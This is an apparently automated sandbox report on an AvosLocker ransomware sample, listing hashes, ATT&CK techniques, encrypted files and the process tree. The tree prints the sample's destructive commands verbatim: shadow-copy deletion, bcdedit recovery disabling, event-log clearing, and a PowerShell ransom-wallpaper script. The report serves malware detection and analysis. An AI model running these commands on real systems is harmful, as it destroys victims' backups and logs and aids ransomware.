avoslocker | 368041501211167866ce2f39dfd64e596707763d2c9e448565e28d92c649aa71

Resubmissions

25-12-2024 14:37

241225-rzbm3svpct 10

25-12-2024 13:50

241225-q5q5aavjct 10

Analysis

max time kernel
30s
max time network
17s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
25-12-2024 14:37

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General

Target

testing.exe
Size

1.1MB
MD5

9bab6ed20e3975cec860894d96f1de7c
SHA1

b4647855c5f313fadc03347ea10272fda260dd22
SHA256

368041501211167866ce2f39dfd64e596707763d2c9e448565e28d92c649aa71
SHA512

14c5d8c19429aebfc5ed678d56de3b3d53e2272eda11567d85723933bbca600e00eeb52e5562278c67b08ac87b6c1bc45b6dc8b653a8d545d1edd8c8aa78432a
SSDEEP

24576:tImw98okVgela0as5CqLVO7XJCjkD3N0HRA:DL5ljasaU

Score

10^/10

avoslocker defense_evasion discovery evasion execution impact ransomware

Malware Config

Signatures

Avoslocker Ransomware
Avoslocker is a relatively new ransomware, that was observed in late June and early July, 2021.
ransomware avoslocker
Avoslocker family
avoslocker
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2308	bcdedit.exe
1364	bcdedit.exe

Renames multiple (10414) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Executes dropped EXE 1 IoCs

pid	Process
1688	P1kAlMiG2Kb7.exe

Drops desktop.ini file(s) 1 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\DataServices\DESKTOP.INI	P1kAlMiG2Kb7.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Z:	P1kAlMiG2Kb7.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\332083229.png"	reg.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PROOF\MSSP7FR.LEX	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO02253_.WMF	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO02413_.WMF	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-lib-profiler-charts_zh_CN.jar	P1kAlMiG2Kb7.exe
File created	C:\Program Files\Common Files\Microsoft Shared\ink\cs-CZ\GET_YOUR_FILES_BACK.txt	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\SlideShow.Gadget\fr-FR\gadget.xml	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\anevia_streams.luac	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\circle_glass_Thumbnail.bmp	P1kAlMiG2Kb7.exe
File created	C:\Program Files\Windows Media Player\Visualizations\GET_YOUR_FILES_BACK.txt	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD14794_.GIF	P1kAlMiG2Kb7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ne\LC_MESSAGES\GET_YOUR_FILES_BACK.txt	P1kAlMiG2Kb7.exe
File created	C:\Program Files\Microsoft Games\Multiplayer\Spades\ja-JP\GET_YOUR_FILES_BACK.txt	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.jdp_5.5.0.165303.jar	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\META-INF\ECLIPSE_.RSA	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mr.txt	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\ADRESPEL.POC	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\BrightYellow\TAB_ON.GIF	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_US.txt	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files\Microsoft Games\FreeCell\es-ES\FreeCell.exe.mui	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Atlantic\Bermuda	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files\Common Files\System\Ole DB\sqlxmlx.rll	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files\Common Files\System\msadc\de-DE\msadcer.dll.mui	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Templates\1033\ExpenseReport.xltx	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Helsinki	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\CST6CDT	P1kAlMiG2Kb7.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\cmm\GET_YOUR_FILES_BACK.txt	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\Images\tile_bezel.png	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\GREEK.TXT	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0382925.JPG	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\images\docked_gray_cloudy.png	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Stationery\1033\JUDGESCH.GIF	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\ZPDIR44F.GIF	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\AUTOSHAP\BD18235_.WMF	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\CAGCAT10\J0216724.WMF	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\RSSFeeds.Gadget\images\item_hover_floating.png	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\SlideShow.Gadget\images\pause_hov.png	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\LINES\BD10290_.GIF	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\Publisher\Backgrounds\WB02039_.GIF	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\icon.png	P1kAlMiG2Kb7.exe
File created	C:\Program Files\Windows Sidebar\Gadgets\Clock.Gadget\en-US\css\GET_YOUR_FILES_BACK.txt	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Winnipeg	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\epl-v10.html	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\GMT	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PAGESIZE\PGMN105.XML	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\ext\localedata.jar	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT+1	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Library\EUROTOOL.XLAM	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\utilityfunctions.js	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\BORDERS\MSART1.BDR	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD14790_.GIF	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0341645.JPG	P1kAlMiG2Kb7.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bg\LC_MESSAGES\GET_YOUR_FILES_BACK.txt	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Currency.Gadget\ja-JP\js\library.js	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0099154.JPG	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\NA02431_.WMF	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PH02567J.JPG	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\North_Dakota\New_Salem	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\Stationery\Dotted_Lines.emf	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\rtf_pressed.gif	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolBMPs\CreateSpaceImageMask.bmp	P1kAlMiG2Kb7.exe
File created	C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\Desert\GET_YOUR_FILES_BACK.txt	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0107544.WMF	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\SATIN\THMBNAIL.PNG	P1kAlMiG2Kb7.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-keyring-impl.jar	P1kAlMiG2Kb7.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2100	powershell.exe
6700	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	P1kAlMiG2Kb7.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2496	vssadmin.exe

Opens file in notepad (likely ransom note) 3 IoCs

ransomware

pid	Process
9728	NOTEPAD.EXE
3780	NOTEPAD.EXE
3132	NOTEPAD.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1688	P1kAlMiG2Kb7.exe
2100	powershell.exe
6700	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	1688	P1kAlMiG2Kb7.exe
Token: SeIncreaseQuotaPrivilege	408	WMIC.exe
Token: SeSecurityPrivilege	408	WMIC.exe
Token: SeTakeOwnershipPrivilege	408	WMIC.exe
Token: SeLoadDriverPrivilege	408	WMIC.exe
Token: SeSystemProfilePrivilege	408	WMIC.exe
Token: SeSystemtimePrivilege	408	WMIC.exe
Token: SeProfSingleProcessPrivilege	408	WMIC.exe
Token: SeIncBasePriorityPrivilege	408	WMIC.exe
Token: SeCreatePagefilePrivilege	408	WMIC.exe
Token: SeBackupPrivilege	408	WMIC.exe
Token: SeRestorePrivilege	408	WMIC.exe
Token: SeShutdownPrivilege	408	WMIC.exe
Token: SeDebugPrivilege	408	WMIC.exe
Token: SeSystemEnvironmentPrivilege	408	WMIC.exe
Token: SeRemoteShutdownPrivilege	408	WMIC.exe
Token: SeUndockPrivilege	408	WMIC.exe
Token: SeManageVolumePrivilege	408	WMIC.exe
Token: 33	408	WMIC.exe
Token: 34	408	WMIC.exe
Token: 35	408	WMIC.exe
Token: SeIncreaseQuotaPrivilege	408	WMIC.exe
Token: SeSecurityPrivilege	408	WMIC.exe
Token: SeTakeOwnershipPrivilege	408	WMIC.exe
Token: SeLoadDriverPrivilege	408	WMIC.exe
Token: SeSystemProfilePrivilege	408	WMIC.exe
Token: SeSystemtimePrivilege	408	WMIC.exe
Token: SeProfSingleProcessPrivilege	408	WMIC.exe
Token: SeIncBasePriorityPrivilege	408	WMIC.exe
Token: SeCreatePagefilePrivilege	408	WMIC.exe
Token: SeBackupPrivilege	408	WMIC.exe
Token: SeRestorePrivilege	408	WMIC.exe
Token: SeShutdownPrivilege	408	WMIC.exe
Token: SeDebugPrivilege	408	WMIC.exe
Token: SeSystemEnvironmentPrivilege	408	WMIC.exe
Token: SeRemoteShutdownPrivilege	408	WMIC.exe
Token: SeUndockPrivilege	408	WMIC.exe
Token: SeManageVolumePrivilege	408	WMIC.exe
Token: 33	408	WMIC.exe
Token: 34	408	WMIC.exe
Token: 35	408	WMIC.exe
Token: SeDebugPrivilege	2100	powershell.exe
Token: SeBackupPrivilege	6856	vssvc.exe
Token: SeRestorePrivilege	6856	vssvc.exe
Token: SeAuditPrivilege	6856	vssvc.exe
Token: SeBackupPrivilege	2100	powershell.exe
Token: SeSecurityPrivilege	2100	powershell.exe
Token: SeBackupPrivilege	2100	powershell.exe
Token: SeBackupPrivilege	2100	powershell.exe
Token: SeSecurityPrivilege	2100	powershell.exe
Token: SeBackupPrivilege	2100	powershell.exe
Token: SeBackupPrivilege	2100	powershell.exe
Token: SeSecurityPrivilege	2100	powershell.exe
Token: SeBackupPrivilege	2100	powershell.exe
Token: SeBackupPrivilege	2100	powershell.exe
Token: SeSecurityPrivilege	2100	powershell.exe
Token: SeBackupPrivilege	2100	powershell.exe
Token: SeBackupPrivilege	2100	powershell.exe
Token: SeSecurityPrivilege	2100	powershell.exe
Token: SeBackupPrivilege	2100	powershell.exe
Token: SeBackupPrivilege	2100	powershell.exe
Token: SeSecurityPrivilege	2100	powershell.exe
Token: SeBackupPrivilege	2100	powershell.exe
Token: SeSecurityPrivilege	2100	powershell.exe

Suspicious use of WriteProcessMemory 49 IoCs

description	pid	Process	procid_target
PID 2012 wrote to memory of 1688	2012	testing.exe	31
PID 2012 wrote to memory of 1688	2012	testing.exe	31
PID 2012 wrote to memory of 1688	2012	testing.exe	31
PID 2012 wrote to memory of 1688	2012	testing.exe	31
PID 1688 wrote to memory of 1496	1688	P1kAlMiG2Kb7.exe	33
PID 1688 wrote to memory of 1496	1688	P1kAlMiG2Kb7.exe	33
PID 1688 wrote to memory of 1496	1688	P1kAlMiG2Kb7.exe	33
PID 1688 wrote to memory of 1496	1688	P1kAlMiG2Kb7.exe	33
PID 1688 wrote to memory of 2708	1688	P1kAlMiG2Kb7.exe	34
PID 1688 wrote to memory of 2708	1688	P1kAlMiG2Kb7.exe	34
PID 1688 wrote to memory of 2708	1688	P1kAlMiG2Kb7.exe	34
PID 1688 wrote to memory of 2708	1688	P1kAlMiG2Kb7.exe	34
PID 1688 wrote to memory of 2560	1688	P1kAlMiG2Kb7.exe	35
PID 1688 wrote to memory of 2560	1688	P1kAlMiG2Kb7.exe	35
PID 1688 wrote to memory of 2560	1688	P1kAlMiG2Kb7.exe	35
PID 1688 wrote to memory of 2560	1688	P1kAlMiG2Kb7.exe	35
PID 1688 wrote to memory of 2552	1688	P1kAlMiG2Kb7.exe	36
PID 1688 wrote to memory of 2552	1688	P1kAlMiG2Kb7.exe	36
PID 1688 wrote to memory of 2552	1688	P1kAlMiG2Kb7.exe	36
PID 1688 wrote to memory of 2552	1688	P1kAlMiG2Kb7.exe	36
PID 1688 wrote to memory of 2348	1688	P1kAlMiG2Kb7.exe	37
PID 1688 wrote to memory of 2348	1688	P1kAlMiG2Kb7.exe	37
PID 1688 wrote to memory of 2348	1688	P1kAlMiG2Kb7.exe	37
PID 1688 wrote to memory of 2348	1688	P1kAlMiG2Kb7.exe	37
PID 2348 wrote to memory of 2100	2348	cmd.exe	38
PID 2348 wrote to memory of 2100	2348	cmd.exe	38
PID 2348 wrote to memory of 2100	2348	cmd.exe	38
PID 2560 wrote to memory of 1364	2560	cmd.exe	40
PID 2560 wrote to memory of 1364	2560	cmd.exe	40
PID 2560 wrote to memory of 1364	2560	cmd.exe	40
PID 1496 wrote to memory of 408	1496	cmd.exe	41
PID 1496 wrote to memory of 408	1496	cmd.exe	41
PID 1496 wrote to memory of 408	1496	cmd.exe	41
PID 2552 wrote to memory of 2308	2552	cmd.exe	39
PID 2552 wrote to memory of 2308	2552	cmd.exe	39
PID 2552 wrote to memory of 2308	2552	cmd.exe	39
PID 2708 wrote to memory of 2496	2708	cmd.exe	42
PID 2708 wrote to memory of 2496	2708	cmd.exe	42
PID 2708 wrote to memory of 2496	2708	cmd.exe	42
PID 1688 wrote to memory of 6700	1688	P1kAlMiG2Kb7.exe	49
PID 1688 wrote to memory of 6700	1688	P1kAlMiG2Kb7.exe	49
PID 1688 wrote to memory of 6700	1688	P1kAlMiG2Kb7.exe	49
PID 1688 wrote to memory of 6700	1688	P1kAlMiG2Kb7.exe	49
PID 6700 wrote to memory of 6868	6700	powershell.exe	52
PID 6700 wrote to memory of 6868	6700	powershell.exe	52
PID 6700 wrote to memory of 6868	6700	powershell.exe	52
PID 6700 wrote to memory of 4732	6700	powershell.exe	53
PID 6700 wrote to memory of 4732	6700	powershell.exe	53
PID 6700 wrote to memory of 4732	6700	powershell.exe	53

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\testing.exe
"C:\Users\Admin\AppData\Local\Temp\testing.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2012
- C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe
  "C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe"
  2⤵
  - Executes dropped EXE
  - Drops desktop.ini file(s)
  - Enumerates connected drives
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1688
- - C:\Windows\system32\cmd.exe
    cmd /c wmic shadowcopy delete /nointeractive
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1496
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic shadowcopy delete /nointeractive
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:408
- - C:\Windows\system32\cmd.exe
    cmd /c vssadmin.exe Delete Shadows /All /Quiet
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2708
  - - C:\Windows\system32\vssadmin.exe
      vssadmin.exe Delete Shadows /All /Quiet
      4⤵
      Interacts with shadow copies
      PID:2496
- - C:\Windows\system32\cmd.exe
    cmd /c bcdedit /set {default} recoveryenabled No
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2560
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled No
      4⤵
      Modifies boot configuration data using bcdedit
      PID:1364
- - C:\Windows\system32\cmd.exe
    cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2552
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      Modifies boot configuration data using bcdedit
      PID:2308
- - C:\Windows\system32\cmd.exe
    cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2348
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2100
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "$a = [System.IO.File]::ReadAllText(\"F:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:6700
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\332083229.png /f
      4⤵
      Sets desktop wallpaper using registry
      PID:6868
  - - C:\Windows\system32\rundll32.exe
      "C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False
      4⤵
      PID:4732

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:6856

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\GET_YOUR_FILES_BACK.txt
1⤵
- Opens file in notepad (likely ransom note)
PID:3132

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\GET_YOUR_FILES_BACK.txt
1⤵
- Opens file in notepad (likely ransom note)
PID:3780

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\GET_YOUR_FILES_BACK.txt
1⤵
- Opens file in notepad (likely ransom note)
PID:9728

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Management Instrumentation

T1047

Persistence

Privilege Escalation

Defense Evasion

Direct Volume Access

T1006

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe

Filesize
807KB

MD5
e27b5291c8fb2dfdeb7f16bb6851df5e

SHA1
40207f83b601cd60905c1f807ac0889c80dfe33f

SHA256
ffd933ad53f22a0f10cceb4986087258f72dffdd36999b7014c6b37c157ee45f

SHA512
2ddbc50cd780ffbf73c354b9b437322eb49cb05bb6f287d54e7dcafb61dc4c4549e37ae2f972f3d240bfa7d2ca485b7583137f1bf038bc901f378cea0c305c6a

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
133a7e91d33ad464037b493460bca8cb

SHA1
d61c01f5814c69a26bc5f8118f7cdbcbda0df7b2

SHA256
9705358aca3d8320e7c3ccefb930b0c54e344e87b4ff0d463174adf985d39edc

SHA512
94625ca6649d15cc60abfa001e299f30db7f5ccf95322b86e58c29d61b3876bed0825fc6168b36ec20cd0a9072516f5061692b0050905c6da89dbe720d531c53

Download Submit
F:\GET_YOUR_FILES_BACK.txt

Filesize
1011B

MD5
c92c2b70fb37f84aab38412ad9226aa8

SHA1
14f2e9a83285612d0a7b2c83b8f89bccfde6c154

SHA256
d64639e873c0873b469cd856d1ef4bce7dc14a80fac6fe2bed9d629f05acc77f

SHA512
04f9dcb3cd49909712535255b6eadd7fafcb2902bf1abd5a25e9bb5f5c4dc032611aec0a5b0ec89cd7dbc65276b935c54b906b391507d2e3e3aa65466b15f848

Download Submit
memory/2012-4-0x000000013F710000-0x000000013F82E000-memory.dmp

Filesize
1.1MB

Download
memory/2100-2833-0x000000001B7B0000-0x000000001BA92000-memory.dmp

Filesize
2.9MB

Download
memory/2100-2834-0x0000000002760000-0x0000000002768000-memory.dmp

Filesize
32KB

Download
memory/6700-24580-0x000000001B720000-0x000000001BA02000-memory.dmp

Filesize
2.9MB

Download
memory/6700-24581-0x0000000001BE0000-0x0000000001BE8000-memory.dmp

Filesize
32KB

Download